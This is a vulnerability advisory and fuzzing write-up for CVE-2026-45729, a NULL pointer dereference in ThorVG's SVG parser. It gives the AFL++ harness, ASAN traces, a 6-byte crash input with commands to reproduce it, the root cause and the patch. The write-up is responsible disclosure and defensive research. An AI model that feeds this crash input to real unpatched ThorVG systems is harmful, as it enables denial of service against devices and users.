📄 ThorVG SVG Parser NULL Pointer Dereference
| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| CVE-2026-45729 | 1 Jun 202617:18 | – | attackerkb | |
| CVE-2026-45729 | 1 Jun 202620:44 | – | circl | |
| ThorVG 代码问题漏洞 | 1 Jun 202600:00 | – | cnnvd | |
| CVE-2026-45729 | 1 Jun 202617:18 | – | cve | |
| CVE-2026-45729 ThorVG: Null pointer dereference in SVG loader causes crash via 6-byte malformed input | 1 Jun 202617:18 | – | cvelist | |
| CVE-2026-45729 | 1 Jun 202617:18 | – | debiancve | |
| EUVD-2026-33722 | 1 Jun 202617:18 | – | euvd | |
| [SECURITY] Fedora 43 Update: thorvg-1.0.6-1.fc43 | 23 Jun 202600:54 | – | fedora | |
| [SECURITY] Fedora 44 Update: thorvg-1.0.6-1.fc44 | 23 Jun 202601:09 | – | fedora | |
| Fedora 43 : thorvg (2026-2641c0a950) | 22 Jun 202600:00 | – | nessus |
10
# CVE-2026-45729 — ThorVG NULL Pointer Dereference via Malformed SVG
**Severity:** CVSS 4.3 (Medium) — CWE-476
**Advisory:** [GHSA-f863-8ghq-7h64](https://github.com/advisories/GHSA-f863-8ghq-7h64)
**Fixed:** ThorVG v1.0.5
**Status:** Patched / Disclosed
---
## Summary
ThorVG's SVG parser dereferences a pointer that is never initialized when it encounters a
truncated child element tag inside a root `<svg>` node. The bug is reachable through the
normal rendering path (`tvg::Picture::load` → parse → render) and can be triggered with
a **6-byte** input.
The worst-case impact on standard Linux is a process crash (DoS) — `mmap_min_addr` prevents
mapping the NULL page, so the fault is not directly exploitable for code execution in that
environment. On MMU-less targets where ThorVG is also used (Tizen, LVGL-based firmware) the
exploitability picture is different and warrants a closer look.
---
## Target selection rationale
ThorVG is a cross-platform vector graphics engine written in C++17. It is the default SVG/Lottie
renderer in **Samsung Tizen OS**, is bundled in **LVGL** (widely used in embedded/IoT UI),
and is distributed as a standalone library on multiple platforms.
The library processes untrusted SVG/JSON input and is often exposed in contexts without privilege
separation. Parser code in graphics libraries has historically been a reliable source of memory
safety bugs — ThorVG is actively developed and at the time of this research had no recorded
fuzzing coverage in public bug trackers.
---
## Fuzzing setup
### Harness
The harness wraps ThorVG's in-memory load API so AFL++ can drive the parser directly without
disk I/O.
```cpp
// fuzz_thorvg.cpp
#include <cstdint>
#include <cstring>
#include <thorvg.h>
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
if (size == 0) return 0;
tvg::Initializer::init(tvg::CanvasEngine::Sw, 0);
auto canvas = tvg::SwCanvas::gen();
uint32_t buf[64 * 64] = {};
canvas->target(buf, 64, 64, 64, tvg::SwCanvas::ARGB8888);
auto picture = tvg::Picture::gen();
// Load SVG from raw bytes; mimeType hint "svg" triggers the SVG parser path
if (picture->load(reinterpret_cast<const char*>(data), size, "svg", false)
== tvg::Result::Success) {
canvas->push(tvg::cast(picture));
canvas->draw();
canvas->sync();
}
tvg::Initializer::term(tvg::CanvasEngine::Sw);
return 0;
}
```
Build with ASAN + coverage instrumentation:
```bash
clang++ -std=c++17 -fsanitize=address,undefined -fprofile-instr-generate \
-fcoverage-mapping -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
$(pkg-config --cflags --libs thorvg)
```
### Seed corpus
Starting from scratch with random bytes performs poorly on format-sensitive parsers.
I seeded the corpus with a set of structurally valid minimal SVG files covering:
- Empty SVG (`<svg xmlns="..."/>`)
- SVG with basic shapes (`<rect>`, `<circle>`, `<path>`)
- SVG with a nested `<g>` group
- SVG with a `<use>` xlink reference
- A small Lottie/JSON animation (ThorVG also handles this format)
Structure-aware seeds cut the time to first interesting paths from hours to under 20 minutes
in my environment.
### AFL++ flags
```bash
AFL_AUTORESUME=1 afl-fuzz \
-i corpus/ \
-o findings/ \
-x svg.dict \
-m none \
-- ./fuzz_thorvg @@
```
`-x svg.dict` — AFL++ token dictionary with SVG keywords to help mutate toward valid tag names.
`-m none` — ASAN shadow memory requires disabling AFL++'s memory limit.
---
## Crash discovery
AFL++ produced a crash after approximately **3 hours** of single-core fuzzing.
The initial crashing input was ~180 bytes. The ASAN output:
```
==pid==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x... ...)
SEGV on address NULL
#0 in tvg::SvgParser::_parseStyle(...)
#1 in tvg::SvgParser::_createElement(...)
#2 in tvg::SvgParser::parse(...)
#3 in tvg::SvgLoader::read()
...
```
The fault is a read through an uninitialized (NULL) `SvgNode*` pointer inside `_parseStyle`.
The pointer is expected to be set by `_createElement` when it processes a child element,
but a truncated tag name causes the element to be skipped without the pointer being assigned,
and `_parseStyle` proceeds to dereference it regardless.
---
## Minimization
Minimized with `afl-tmin`, then manual pruning:
```bash
afl-tmin -i findings/crashes/id:000000 -o min -- ./fuzz_thorvg @@
```
After `afl-tmin` the input was 14 bytes. Manual inspection of the parse path showed only the
first 6 bytes were consumed before the fault:
```
<svg><
```
`<svg>` opens the root node. `<` starts a child element tag. The parser reads the tag name,
gets an empty string (the input ends immediately after `<`), skips element creation, and
falls through into `_parseStyle` with the node pointer still NULL.
Confirm the 6-byte trigger reproduces:
```bash
printf '<svg><' | ./fuzz_thorvg /dev/stdin
# or
echo -n '<svg><' > poc.svg && ./fuzz_thorvg poc.svg
```
---
## Root cause
```
src/loaders/svg/tvgSvgParser.cpp
```
Simplified pseudocode of the vulnerable flow:
```cpp
// _createElement returns nullptr when tag name is empty
SvgNode* node = _createElement(tagName); // tagName == "" → returns nullptr
// No NULL check before passing into style parser
_parseStyle(node, attributes); // ← dereferences node->style at offset 0x18
```
The fix in v1.0.5 adds an early return in the element dispatch loop when `_createElement`
returns `nullptr`, before any attribute/style processing is attempted.
---
## Exploitability analysis
### Standard Linux (CVSS 4.3 / Medium)
`/proc/sys/vm/mmap_min_addr` is typically set to `65536` on modern distros.
The NULL page is not mapped, so the CPU raises a SIGSEGV that the kernel converts to
a signal to the process — result is a **crash (DoS)**. No controlled write, no PC
control, not directly exploitable for code execution.
### Embedded / MMU-less targets
ThorVG is a first-class citizen in **Tizen** (Samsung IoT/wearable OS) and is integrated
into **LVGL**, which runs on microcontrollers and systems without an MMU.
On MMU-less systems there is no memory protection and `mmap_min_addr` does not apply.
If the NULL page is mapped (which is common in bare-metal embedded environments), a NULL
pointer dereference can potentially point into attacker-controlled memory. Whether this
is reachable in a real attack depends on the attack surface — ThorVG on a Tizen device
may parse SVG from untrusted network sources or user-supplied content.
This context is what justifies responsible disclosure even for a CVSS Medium finding.
---
## Disclosure timeline
| Date | Event |
|---|---|
| 2026-xx-xx | Crash discovered via AFL++ |
| 2026-xx-xx | Root cause confirmed under ASAN; 6-byte POC produced |
| 2026-xx-xx | Private report sent to ThorVG maintainer (hermet) via GitHub Security Advisory |
| 2026-xx-xx | Maintainer acknowledged and opened private fork |
| 2026-xx-xx | Patch merged into v1.0.5 |
| 2026-xx-xx | GHSA-f863-8ghq-7h64 published; CVE-2026-45729 assigned |
---
## Patch diff (summary)
The patch adds a NULL guard in the SVG element dispatch loop:
```cpp
// before (vulnerable)
SvgNode* node = _createElement(tag);
_parseStyle(node, attrs); // unconditional
// after (v1.0.5)
SvgNode* node = _createElement(tag);
if (!node) continue; // skip if element was not created
_parseStyle(node, attrs);
```
Full diff: [ThorVG v1.0.5 release](https://github.com/thorvg/thorvg/releases/tag/v1.0.5)
---
## Reproduction (safe, local only)
```bash
# build from source with ASAN
git clone https://github.com/thorvg/thorvg && cd thorvg
git checkout <vulnerable-tag-before-v1.0.5>
meson setup build -Db_sanitize=address && ninja -C build
# compile harness against the built library
clang++ -std=c++17 -fsanitize=address -O1 -g \
fuzz_thorvg.cpp -o fuzz_thorvg \
-Ibuild/src/include -Lbuild/src -lthorvg
# trigger
printf '<svg><' | ./fuzz_thorvg /dev/stdin
```
Expected output: ASAN report with `SEGV on unknown address 0x000000000000` in
`tvg::SvgParser::_parseStyle`.
---
## References
- [GHSA-f863-8ghq-7h64](https://github.com/advisories/GHSA-f863-8ghq-7h64)
- [ThorVG project](https://github.com/thorvg/thorvg)
- [CWE-476: NULL Pointer Dereference](https://cwe.mitre.org/data/definitions/476.html)
- [AFL++ documentation](https://aflplus.plus/)
---
*Found by yeahhbean (이예빈) via AFL++ coverage-guided fuzzing with structure-aware SVG seed corpus.*Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Jul 2026 00:00Current
6Medium risk
Vulners AI Score6
CVSS 3.14.3
EPSS0.00235
SSVC